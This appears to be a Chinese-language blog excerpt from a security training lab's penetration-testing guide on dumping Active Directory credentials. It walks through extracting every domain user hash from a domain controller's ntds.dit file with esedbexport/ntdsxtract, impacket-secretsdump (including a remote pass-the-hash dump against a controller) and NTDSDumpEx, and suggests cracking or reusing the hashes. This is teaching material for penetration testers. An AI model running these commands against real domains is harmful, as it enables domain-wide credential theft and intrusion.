攻击域控丝滑小连招


如果已经获得本地管理员账号或是域管理员账号,那么下一个目标通常是域控制器,对于渗透测试人员来说,光荣与荣耀的那一刻就是成功从域控制器提取所有的哈希值。但即使是拥有管理员权限,也无法读取域控制器中存储的c:\Windows\NTDS\ntds.dit文件,因为活动目录始终访问这个文件,所有文件被禁止读出。下面介绍几种常用提取ntds.dit的方法。

01

使用esedbexport恢复ntds.dit

 

将从目标系统导出的ntds.dit放在本地Linux机器中进行解析,本次实验环境为Kail2.0。

Kali中打开命令行输入命令下载libesedb。

wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz

首先安装工具依赖环境,如图6-24所示,输入如下命令。

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

 

6-24安装工具依赖环境

 

将下载好的libesedb进行编译安装,依次输入命令:

$ ./configure$ make$ sudo make install$ sudo ldconfig

安装成功后会在系统/usr/local/bin中出现esedbexport程序,如图6-25所示。

 

6-25查看esedbexport是否安装成功

 

Kali中打开命令行进入存放ntds.dit目录中,使用esedbexport 恢复,输入如下命令来提取表信息,如图6-26所示,恢复时间视ntds.dit大小决定,导出成功会在同目录生成一个文件夹。这里的存储信息,我们只需要datatable和link_table。

esedbexport -m tables ntds.dit

 

6-26使用esedbexport 打开ntds.dit

 

可以看到成功导出,如图6-27所示。

 

6-27查看被打开后的ntds.dit内容

 

再下载使用ntdsxtract进行提取域信息,导出Hash。

下载,在Kali输入命令:

$ git clone https://github.com/csababarta/ntdsxtract.git

安装,在Kali输入命令:

python setup.py build && python setup.py install

然后将导出ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹中,输入如下命令。

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

成功将域内所有用户信息及Hash导出到all_user.txt中,如图6-28所示。

 

6-28导出与内所有用户和Hash信息

 

导出到Hash可以放在在线网站破解,也可以本地使用hashcat进行破解或在域内直接进行PTH进行横向渗透。

Tips:ntds.dit中包含域内所有信息,不仅仅包括用户和Hash,也可以通过分析ntds.dit导出域内计算机信息或其他信息,如:

dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

该命令可以执行导出域内所有计算机信息,导出为csv格式,方便查看,如图6-29所示。

 

6-29导出域内所有计算机信息

 

02

使用impacket工具包导出Hash

 

使用impacket工具包中的secretsdump 解析ntds.dit文件,导出Hash。

首先下载impacket工具包,在Kali下,输入如下命令下载该工具。

git clone https://github.com/CoreSecurity/impacket.git

下载成功后,将impacket工具包安装在Kali上,impacket是基于使用Python编写的,Kail默认安装了Python,直接输入命令,如图6-30所示。

python setup.py install

 

6-30安装impacket

 

成功安装后,打开命令行进入ntds.dit和SYSTEM目录,输入如下命令,成功导出ntds.dit中所有Hash,如图6-31所示。

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

 

6-31使用impacket-secretsdump导出用户和Hash

 

Tips:impacket还可以直接使用用户名和Hash进行验证,从远程域控制器读取ntds.dit转储域Hash,如图6-32所示:

impacket-secretsdump-hashesaad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/administrator@192.168.100.205

 

6-32使用impacket-secretsdump向DC获取信息

 

03

Windows下解析ntds.dit导出域账号及域Hash

 

使用NTDSDumpex.exe进行导出Hash操作。NTDSDumpex.exe下载地址:

https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

首先将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录中,打开cmd输入如下命令,域账号及域Hash被成功导出,如图6-33所示。

NTDSDumpex.exe -d ntds.dit -s system

 

6-33使用NTDSDumpex.exe打开ntds.dit

 

 

 

Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。

平台已开设Web安全零基础就业,Web高级安全攻防进阶,红队实战攻防特训,Java代码安全审计,恶意代码分析与免杀实战,CTF基础实战特训营,网络安全应急响应,安全工具开发,AI与网络安全等系统培训课程。实验室出版安全图书《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》、《Python安全攻防:渗透测试实战指南》、《Java代码审计:入门篇》等。

扫描客服微信 获取更多课件+学习资料

posted @ 2024-03-27 09:50  Ms08067安全实验室  阅读(17)  评论(0编辑  收藏  举报